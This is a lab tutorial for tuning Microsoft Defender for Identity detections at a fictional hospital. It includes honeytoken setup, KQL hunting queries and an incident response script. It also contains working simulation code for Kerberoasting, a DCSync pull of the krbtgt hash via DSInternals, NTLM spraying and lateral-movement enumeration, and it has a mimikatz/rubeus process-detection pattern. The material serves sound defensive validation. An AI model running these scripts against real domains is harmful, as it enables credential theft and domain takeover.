Configure Microsoft Defender for Identity detection policies for credential theft, lateral movement, Kerberoasting, Pass-the-Hash, DCSync, Golden Ticket, and privilege escalation. Simulate real-world identity attacks, investigate generated alerts, tune detection thresholds, build Advanced Hunting queries, and establish alert response procedures.
Microsoft Defender for Identity (MDI) uses a multi-layered detection engine that combines deterministic rules, behavioral analytics, and machine learning to identify identity-based attacks in real time. MDI maps every detection to the MITRE ATT&CK framework, covering tactics from Initial Access (T1078) and Credential Access (T1558, T1003) through Lateral Movement (T1550) to Domain Dominance (T1207). The behavioral analytics engine builds a baseline profile over a 30-day learning period for every user, device, and resource. detecting deviations that indicate compromised identities or insider threats. Detection categories include Reconnaissance (account enumeration, network mapping), Compromised credentials (brute force, Kerberoasting, AS-REP Roasting), Lateral movement (Pass-the-Hash, Pass-the-Ticket, overpass-the-hash), and Domain dominance (DCSync, Golden Ticket, Skeleton Key). This lab configures detection policies, simulates six real-world attack techniques, investigates alerts, tunes thresholds, and builds automated response procedures.
MedCare Health, a healthcare organization with 8,000 employees across 15 facilities, must protect Active Directory from identity attacks targeting patient data systems governed by HIPAA. The security team recently discovered that a compromised service account was used to perform Kerberoasting against the SQL Server service account that hosts the Electronic Health Records (EHR) database. The attacker extracted the service ticket, cracked the password offline, and accessed 50,000 patient records before the breach was detected. 47 days after initial compromise.
MedCare deployed MDI sensors in Lab 01 and now needs to configure detection policies, deploy honeytoken traps, simulate attack techniques to validate coverage, and build a rapid response playbook. Success criteria include all detection policies active, sensitive accounts tagged, honeytoken accounts deployed, attack simulations generating alerts within 15 minutes, and SOC response procedures documented.
Identity is the #1 attack vector: 80% of breaches involve compromised credentials according to the Verizon DBIR, and identity attacks increased 300% year-over-year per the Microsoft Digital Defense Report. The average credential theft goes undetected for 207 days without behavioral analytics. MDI detects these attacks within minutes by analyzing protocol-level anomalies. Lateral movement attacks (Pass-the-Hash, Pass-the-Ticket) abuse legitimate Kerberos and NTLM protocols, making them invisible to traditional SIEM log-based detection. Healthcare organizations face an average breach cost of $10.93 million (IBM Cost of a Data Breach 2023), with identity compromises being the most expensive attack vector. Regulatory frameworks (HIPAA, NIST 800-53 IA controls, PCI DSS Requirement 8) mandate identity monitoring and detection capabilities that MDI provides out of the box.
Install-Module DSInternals -Force)scripts/mdi/MDI ships with over 40 built-in detection policies that are active by default. Start by reviewing these policies and understanding how they map to MITRE ATT&CK techniques.
# Connect to Microsoft Graph Security API to list MDI alerts configuration
Connect-MgGraph -Scopes "SecurityAlert.Read.All","SecurityAlert.ReadWrite.All"
# Retrieve identity-related alert policies
$alerts = Get-MgSecurityAlert -Filter "serviceSource eq 'microsoftDefenderForIdentity'" `
-Top 50 | Select-Object Title, Severity, Status, Category
$alerts | Sort-Object Category, Severity | Format-Table -AutoSize
# Count detections by category
$alerts | Group-Object Category | Select-Object Name, Count | Format-TableConfigure how the SOC team receives notifications for identity threat alerts. MDI integrates with email, Microsoft Defender XDR incidents, and SIEM solutions via the Security API.
Sensitive account tagging is critical for MDI. When a tagged sensitive account is involved in an alert, the severity is automatically elevated. MDI auto-tags some groups (Domain Admins, Enterprise Admins), but you must manually tag service accounts, executives, and other high-value targets.
# Identify high-value accounts to tag as sensitive in MDI
Import-Module ActiveDirectory
# Service accounts with SPNs (potential Kerberoasting targets)
$spnAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
-Properties ServicePrincipalName, Description |
Select-Object Name, SamAccountName, Description
Write-Host "=== Service Accounts with SPNs ===" -ForegroundColor Cyan
$spnAccounts | Format-Table -AutoSize
# Accounts with AdminCount=1 (have or had admin privileges)
$adminAccounts = Get-ADUser -Filter {AdminCount -eq 1} `
-Properties AdminCount, MemberOf |
Select-Object Name, SamAccountName
Write-Host "=== Accounts with AdminCount=1 ===" -ForegroundColor Cyan
$adminAccounts | Format-Table -AutoSize
# Accounts with delegation permissions
$delegated = Get-ADUser -Filter {TrustedForDelegation -eq $true -or TrustedToAuthForDelegation -eq $true} `
-Properties TrustedForDelegation, TrustedToAuthForDelegation |
Select-Object Name, SamAccountName, TrustedForDelegation, TrustedToAuthForDelegation
Write-Host "=== Accounts Trusted for Delegation ===" -ForegroundColor Cyan
$delegated | Format-Table -AutoSizesvc-ehr-sql) and backup service accountsHoneytoken accounts are decoy AD accounts that should never be used in production. Any authentication attempt against a honeytoken triggers an immediate high-severity alert, providing an early warning of reconnaissance or credential stuffing attacks.
# Create realistic-looking honeytoken accounts
# These accounts lure attackers during reconnaissance
$honeytokens = @(
@{ Name = "svc-backup-admin"; Desc = "Backup Administration Service"; OU = "OU=ServiceAccounts,DC=medcare,DC=local" },
@{ Name = "admin.legacy"; Desc = "Legacy Admin. Do Not Delete"; OU = "OU=AdminAccounts,DC=medcare,DC=local" },
@{ Name = "svc-sql-reporting"; Desc = "SQL Reporting Service Account"; OU = "OU=ServiceAccounts,DC=medcare,DC=local" }
)
foreach ($ht in $honeytokens) {
$securePassword = ConvertTo-SecureString "H0n3yT0k3n_$(Get-Random -Max 9999)!Bait" -AsPlainText -Force
New-ADUser -Name $ht.Name `
-SamAccountName $ht.Name `
-Description $ht.Desc `
-Path $ht.OU `
-AccountPassword $securePassword `
-Enabled $true `
-PasswordNeverExpires $true `
-CannotChangePassword $true
# Add a fake SPN to make it attractive to Kerberoasting tools
Set-ADUser -Identity $ht.Name -ServicePrincipalNames @{Add="MSSQLSvc/$($ht.Name).medcare.local:1433"}
Write-Host "[CREATED] Honeytoken: $($ht.Name)" -ForegroundColor Green
}svc-backup-admin, admin.legacy, and svc-sql-reporting as honeytokenssvc-backup-admin or admin.legacy and add SPNs to draw Kerberoasting tools. Place them in OUs that attackers typically enumerate. Never give honeytokens any actual permissions.Kerberoasting is a credential access technique (MITRE ATT&CK T1558.003) where an attacker requests Kerberos service tickets for accounts with SPNs, then extracts and cracks the ticket's encrypted portion offline to recover the service account password. MDI detects this by identifying abnormal volumes of TGS requests from a single source.
# Kerberoasting Simulation. requests TGS tickets for all SPN accounts
# MITRE ATT&CK: T1558.003. Kerberoasting
# Run from a domain-joined test machine as a standard domain user
Import-Module ActiveDirectory
# Enumerate all user accounts with SPNs
$spnUsers = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
-Properties ServicePrincipalName |
Where-Object { $_.Enabled -eq $true }
Write-Host "[Kerberoasting] Found $($spnUsers.Count) accounts with SPNs" -ForegroundColor Yellow
# Request TGS tickets for each SPN (this triggers MDI detection)
Add-Type -AssemblyName System.IdentityModel
foreach ($user in $spnUsers) {
foreach ($spn in $user.ServicePrincipalName) {
try {
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList $spn
Write-Host " [TGS] Requested ticket for: $spn" -ForegroundColor Cyan
} catch {
Write-Host " [SKIP] Failed for: $spn. $($_.Exception.Message)" -ForegroundColor Gray
}
}
}
# Display cached Kerberos tickets
Write-Host "`n[Result] Cached Kerberos tickets:" -ForegroundColor Yellow
klistPass-the-Hash (PtH) is a lateral movement technique (MITRE ATT&CK T1550.002) where an attacker uses a stolen NTLM hash to authenticate without knowing the plaintext password. MDI detects this by correlating authentication patterns: when the same hash is used from a new, unexpected source, it raises an alert.
Use the LessIT lab script Invoke-MDICredentialTheftSim.ps1 to simulate Kerberoasting and AS-REP Roasting, which are precursors to Pass-the-Hash attacks.
# Run the LessIT credential theft simulation script
# This simulates both Kerberoasting and AS-REP Roasting attacks
# Reference: scripts/mdi/Invoke-MDICredentialTheftSim.ps1
# Option 1: Run both attack types
.\Invoke-MDICredentialTheftSim.ps1 -AttackType Both
# Option 2: Run Kerberoasting only
.\Invoke-MDICredentialTheftSim.ps1 -AttackType Kerberoasting
# Option 3: Run AS-REP Roasting only
.\Invoke-MDICredentialTheftSim.ps1 -AttackType ASREPRoasting# Simulate abnormal NTLM authentication patterns
# This creates authentication anomalies that MDI's behavioral engine detects
# MITRE ATT&CK: T1550.002. Use Alternate Authentication Material: Pass the Hash
# Step 1: Enumerate target systems (generates reconnaissance signals)
$targets = @("DC01", "FILE01", "SQL01", "APP01")
foreach ($target in $targets) {
Write-Host "[PtH Sim] Testing NTLM auth to $target..." -ForegroundColor Yellow
try {
# Force NTLM authentication (not Kerberos) by using IP instead of hostname
$ip = [System.Net.Dns]::GetHostAddresses($target) |
Where-Object { $_.AddressFamily -eq 'InterNetwork' } |
Select-Object -First 1
if ($ip) {
$result = Test-Path "\\$($ip.IPAddressToString)\C$" -ErrorAction SilentlyContinue
Write-Host " [NTLM] Auth to $target ($ip): $(if($result){'Success'}else{'Access Denied'})" -ForegroundColor Cyan
}
} catch {
Write-Host " [SKIP] $target unreachable" -ForegroundColor Gray
}
}
# Step 2: Rapid sequential NTLM authentications (triggers behavioral anomaly)
Write-Host "`n[PtH Sim] Rapid sequential auth attempts..." -ForegroundColor Yellow
1..20 | ForEach-Object {
$randomTarget = $targets | Get-Random
Test-Path "\\$randomTarget\ADMIN$" -ErrorAction SilentlyContinue | Out-Null
Start-Sleep -Milliseconds 500
}DCSync (MITRE ATT&CK T1003.006) is a domain dominance technique where an attacker impersonates a domain controller and uses the Directory Replication Service (DRS) protocol to request password hashes for any account, including krbtgt. Obtaining the krbtgt hash enables Golden Ticket attacks. MDI detects DCSync by identifying replication requests originating from non-DC machines.
# DCSync Simulation using the LessIT lab script
# Reference: scripts/mdi/Invoke-MDIDCSyncSimulation.ps1
# MITRE ATT&CK: T1003.006. OS Credential Dumping: DCSync
#
# CRITICAL: This extracts real credential data from AD.
# Run ONLY in isolated test environments with explicit authorization.
# Install DSInternals module (required for replication simulation)
if (-not (Get-Module -ListAvailable -Name DSInternals)) {
Install-Module -Name DSInternals -Force -Scope CurrentUser
}
Import-Module DSInternals
# Option 1: Use the LessIT simulation script
.\Invoke-MDIDCSyncSimulation.ps1 -TargetAccount "krbtgt"
# Option 2: Manual DCSync simulation targeting krbtgt
# This requests directory replication from a non-DC machine
$dc = (Get-ADDomainController -Discover).HostName[0]
Write-Host "[DCSync] Requesting replication from $dc..." -ForegroundColor Red
Write-Host "[DCSync] Target account: krbtgt" -ForegroundColor Red
try {
Get-ADReplAccount -SamAccountName "krbtgt" `
-Server $dc `
-Protocol TCP
Write-Host "[DCSync] Replication data received. ALERT SHOULD FIRE" -ForegroundColor Red
} catch {
Write-Host "[DCSync] Replication request made (may fail without permissions)" -ForegroundColor Yellow
Write-Host " The request itself triggers MDI detection regardless of success" -ForegroundColor Gray
}Lateral movement (MITRE ATT&CK TA0008) is the phase where attackers move from an initial foothold to high-value targets. MDI detects abnormal resource access, suspicious SMB sessions, remote execution attempts, and lateral movement path exploitation. This simulation uses the LessIT Invoke-MDILateralMovementSim.ps1 script.
# Lateral Movement Simulation using the LessIT lab script
# Reference: scripts/mdi/Invoke-MDILateralMovementSim.ps1
# MITRE ATT&CK: T1550. Use Alternate Authentication Material
# Run the simulation targeting a test server
.\Invoke-MDILateralMovementSim.ps1 -TargetComputer "YOURTEST-SERVER01"
# The script will:
# 1. Test connectivity to the target
# 2. Enumerate shares and admin access via SMB
# 3. Attempt remote WMI queries
# 4. Attempt remote service enumeration
# 5. Simulate abnormal authentication patterns# Additional lateral movement simulation techniques
# Each technique generates different MDI alerts
$testTargets = @("DC01", "FILE01", "SQL01")
# Technique 1: Remote WMI execution (T1047)
foreach ($target in $testTargets) {
Write-Host "[Lateral] WMI query to $target..." -ForegroundColor Yellow
try {
Get-WmiObject -Class Win32_OperatingSystem -ComputerName $target -ErrorAction Stop |
Select-Object CSName, Caption | Format-Table -AutoSize
} catch {
Write-Host " Access denied or unreachable (still triggers MDI)" -ForegroundColor Gray
}
}
# Technique 2: Remote service enumeration (T1007)
foreach ($target in $testTargets) {
Write-Host "[Lateral] Enumerating services on $target..." -ForegroundColor Yellow
try {
Get-Service -ComputerName $target -ErrorAction Stop |
Where-Object { $_.Status -eq "Running" } |
Select-Object -First 5 Name, DisplayName | Format-Table -AutoSize
} catch {
Write-Host " Access denied (triggers abnormal resource access)" -ForegroundColor Gray
}
}
# Technique 3: SMB share enumeration (T1135)
foreach ($target in $testTargets) {
Write-Host "[Lateral] Enumerating shares on $target..." -ForegroundColor Yellow
try {
net view "\\$target" 2>&1
} catch {
Write-Host " Enumeration blocked" -ForegroundColor Gray
}
}After running simulations in Steps 5–8, identity alerts should appear in the Defender portal within 5–15 minutes. This step walks you through triaging and investigating each alert.
# PowerShell: Query recent MDI alerts via Microsoft Graph
Connect-MgGraph -Scopes "SecurityAlert.Read.All"
$mdiAlerts = Get-MgSecurityAlert -Filter "serviceSource eq 'microsoftDefenderForIdentity'" `
-Top 20 -OrderBy "createdDateTime desc" |
Select-Object Title, Severity, Status, Category, CreatedDateTime,
@{N='SourceEntity';E={$_.Evidence[0].DisplayName}},
@{N='MitreTechnique';E={$_.MitreTechniques -join ', '}}
$mdiAlerts | Format-Table Title, Severity, Category, MitreTechnique -AutoSize
# Triage summary
Write-Host "`n=== Alert Summary ===" -ForegroundColor Cyan
$mdiAlerts | Group-Object Severity | Select-Object Name, Count | Format-TableReducing false positives is critical for SOC efficiency. MDI allows you to exclude specific accounts, devices, or subnets from individual detections without disabling the entire detection policy.
# Document all MDI exclusions for audit and review
# Maintain this as a living document. review quarterly
$exclusions = @(
[PSCustomObject]@{
Detection = "DCSync"
ExcludedEntity = "AADC01.medcare.local"
Reason = "Azure AD Connect server performs legitimate DRS replication"
ApprovedBy = "CISO. Jane Smith"
DateApproved = "2026-03-06"
ReviewDate = "2026-06-06"
},
[PSCustomObject]@{
Detection = "Reconnaissance (SAM-R)"
ExcludedEntity = "svc-qualys-scanner"
Reason = "Qualys vulnerability scanner enumerates AD for asset discovery"
ApprovedBy = "SOC Lead. John Doe"
DateApproved = "2026-03-06"
ReviewDate = "2026-06-06"
},
[PSCustomObject]@{
Detection = "Abnormal resource access"
ExcludedEntity = "helpdesk-tier2"
Reason = "Tier 2 helpdesk connects to 50+ machines daily for support"
ApprovedBy = "SOC Lead. John Doe"
DateApproved = "2026-03-06"
ReviewDate = "2026-06-06"
}
)
$exclusions | Format-Table Detection, ExcludedEntity, Reason -AutoSize -Wrap
$exclusions | Export-Csv -Path "MDI_Exclusions_Registry.csv" -NoTypeInformation
Write-Host "Exclusions registry saved to MDI_Exclusions_Registry.csv" -ForegroundColor GreenAdvanced Hunting in Microsoft Defender XDR uses Kusto Query Language (KQL) to proactively search for identity threats. The IdentityLogonEvents, IdentityQueryEvents, and IdentityDirectoryEvents tables contain MDI telemetry.
// KQL: Detect potential Kerberoasting - abnormally high volume of TGS (Ticket Granting Service) requests
// WHAT: Identifies accounts requesting Kerberos service tickets for many different SPNs in a short window
// WHY: Kerberoasting (MITRE ATT&CK T1558.003) requests TGS tickets for service accounts, then cracks
// the ticket offline to recover passwords. Normal users rarely request TGS for multiple accounts.
// TABLE: IdentityLogonEvents - captures all Kerberos/NTLM authentication events from DC sensors
// THRESHOLDS: >10 TGS requests AND >3 unique target accounts in 1 hour = suspicious
// - Normal: A user authenticates to 1-3 services per hour
// - Suspicious: Kerberoasting tools request tickets for ALL SPN accounts at once
// OUTPUT: Source device, account, TGS request count, and list of targeted accounts
// RUN IN: Microsoft Defender XDR > Hunting > Advanced Hunting
IdentityLogonEvents
| where Timestamp > ago(24h)
| where Protocol == "Kerberos"
| where LogonType == "Logon with credentials" // TGS requests use this LogonType
| summarize
TGS_RequestCount = count(),
UniqueTargetAccounts = dcount(TargetAccountDisplayName),
TargetAccounts = make_set(TargetAccountDisplayName, 10)
by DeviceName, AccountDisplayName, bin(Timestamp, 1h)
| where TGS_RequestCount > 10 and UniqueTargetAccounts > 3
| sort by TGS_RequestCount desc// KQL: Detect directory replication requests from non-DC machines (DCSync attack indicator)
// WHAT: Finds machines using the Directory Replication Service (DRS/DRSUAPI) protocol that are NOT DCs
// WHY: DCSync (MITRE ATT&CK T1003.006) lets an attacker impersonate a DC and request password hashes
// for ANY account (including krbtgt for Golden Ticket attacks). Legitimate replication ONLY occurs
// between domain controllers - any other source is highly suspicious.
// TABLE: IdentityDirectoryEvents - captures AD object changes and replication events
// OUTPUT: Non-DC machines that performed directory replication, with timestamps and protocols
// Any result here should be treated as Critical severity and investigated immediately.
// Exception: Azure AD Connect servers perform legitimate replication (exclude them).
IdentityDirectoryEvents
| where Timestamp > ago(7d)
| where ActionType == "Directory Services replication"
| where DestinationDeviceName != ""
| project Timestamp, AccountDisplayName, DeviceName,
DestinationDeviceName, ActionType, Protocol
| join kind=leftanti (
// Exclude known domain controllers (machines with "DC" in the name)
// Adjust this filter to match your DC naming convention
IdentityDirectoryEvents
| where ActionType == "Directory Services replication"
| where DeviceName has "DC"
| distinct DeviceName
) on DeviceName
| sort by Timestamp desc// KQL: Detect NTLM authentication anomalies that may indicate Pass-the-Hash (PtH) attacks
// WHAT: Identifies accounts with abnormally high NTLM logon counts or authenticating to many devices
// WHY: Pass-the-Hash (MITRE ATT&CK T1550.002) uses stolen NTLM hashes to authenticate without
// knowing the plaintext password. Modern environments should predominantly use Kerberos.
// High NTLM volume from a single account - especially to many unique devices - suggests
// an attacker reusing a stolen hash to move laterally across the network.
// TABLE: IdentityLogonEvents - Protocol field distinguishes Kerberos vs NTLM authentication
// THRESHOLDS: >15 NTLM logons OR >5 unique target devices in 1 hour = suspicious
// - Normal: Service accounts may use NTLM for legacy apps (expect <5 per hour)
// - Suspicious: Lateral movement tools spray NTLM auth across many machines rapidly
// OUTPUT: Account, NTLM logon count, number of unique devices, and device list
IdentityLogonEvents
| where Timestamp > ago(24h)
| where Protocol == "NTLM"
| where LogonType == "Logon with credentials" // Filters to actual credential-based NTLM auth
| summarize
NTLM_LogonCount = count(),
UniqueDevices = dcount(DeviceName),
Devices = make_set(DeviceName, 20)
by AccountDisplayName, bin(Timestamp, 1h)
| where NTLM_LogonCount > 15 or UniqueDevices > 5
| sort by NTLM_LogonCount desc
| project Timestamp, AccountDisplayName, NTLM_LogonCount,
UniqueDevices, Devices// KQL: Monitor privilege escalation via modifications to sensitive AD security groups
// WHAT: Detects when members are added to or removed from high-privilege AD groups
// WHY: Attackers escalate privileges by adding compromised accounts to Domain Admins, Enterprise
// Admins, or other sensitive groups (MITRE ATT&CK T1098 - Account Manipulation).
// Any change to these groups should trigger an immediate investigation.
// TABLE: IdentityDirectoryEvents - ActionType "Group Membership changed" fires for add/remove
// FIELD: AdditionalFields.["TO.GROUP"] contains the group name that was modified
// OUTPUT: Timestamp, who made the change, which group was modified, and from which device
// Save as a Custom Detection Rule with "Every hour" frequency for continuous monitoring.
let SensitiveGroups = dynamic([
"Domain Admins", "Enterprise Admins", "Schema Admins",
"Administrators", "Account Operators", "Backup Operators",
"Server Operators", "DnsAdmins" // DnsAdmins can escalate to DA via DNS service abuse
]);
IdentityDirectoryEvents
| where Timestamp > ago(30d)
| where ActionType == "Group Membership changed"
| extend ModifiedGroup = tostring(AdditionalFields.["TO.GROUP"])
| where ModifiedGroup in~ (SensitiveGroups)
| project Timestamp, AccountDisplayName, ActionType,
ModifiedGroup, DeviceName, DestinationDeviceName
| sort by Timestamp descDetection without response is just monitoring. Build standardized response procedures (playbooks) for each MDI alert category so the SOC can respond consistently and rapidly.
krbtgt was targeted, initiate a double krbtgt password reset.# Automated MDI Alert Response. Critical Severity
# Integrate with your SOAR platform or run manually during triage
param(
[Parameter(Mandatory=$true)]
[string]$AlertId,
[string]$SourceUser,
[string]$SourceComputer
)
Write-Host "=== MDI CRITICAL ALERT RESPONSE ===" -ForegroundColor Red
# Step 1: Disable the compromised account
if ($SourceUser) {
Write-Host "[CONTAIN] Disabling account: $SourceUser" -ForegroundColor Yellow
Disable-ADAccount -Identity $SourceUser
Write-Host " Account disabled" -ForegroundColor Green
# Force password reset on next enable
Set-ADUser -Identity $SourceUser -ChangePasswordAtLogon $true
}
# Step 2: Gather forensic data before isolation
if ($SourceComputer) {
Write-Host "[FORENSIC] Collecting data from $SourceComputer" -ForegroundColor Yellow
$sessions = Invoke-Command -ComputerName $SourceComputer -ScriptBlock {
Get-Process | Where-Object { $_.Name -match "mimikatz|rubeus|powershell" } |
Select-Object Name, Id, Path, StartTime
} -ErrorAction SilentlyContinue
$sessions | Format-Table -AutoSize
}
# Step 3: Log the response action
$logEntry = [PSCustomObject]@{
Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
AlertId = $AlertId
SourceUser = $SourceUser
SourceComputer = $SourceComputer
ActionTaken = "Account disabled, forensic data collected"
Responder = $env:USERNAME
}
$logEntry | Export-Csv -Path "MDI_Response_Log.csv" -Append -NoTypeInformation
Write-Host "[LOG] Response action logged" -ForegroundColor Green| Resource | Description |
|---|---|
| MDI security alerts overview | Complete list of all detection types and severity levels |
| Entity tags in MDI | Configure sensitive and honeytoken entity tags |
| MDI notifications | Set up email and health alert notifications |
| Configure detection exclusions | Exclude entities from specific detections to reduce false positives |
| IdentityLogonEvents table | Schema reference for identity logon hunting queries |
| IdentityDirectoryEvents table | Schema reference for directory change hunting queries |
| Lateral movement alerts | Understanding and investigating lateral movement detections |
| Domain dominance alerts | DCSync, Golden Ticket, and other domain dominance detections |
| MITRE ATT&CK T1558.003 | Kerberoasting technique reference |
| MITRE ATT&CK T1003.006 | DCSync technique reference |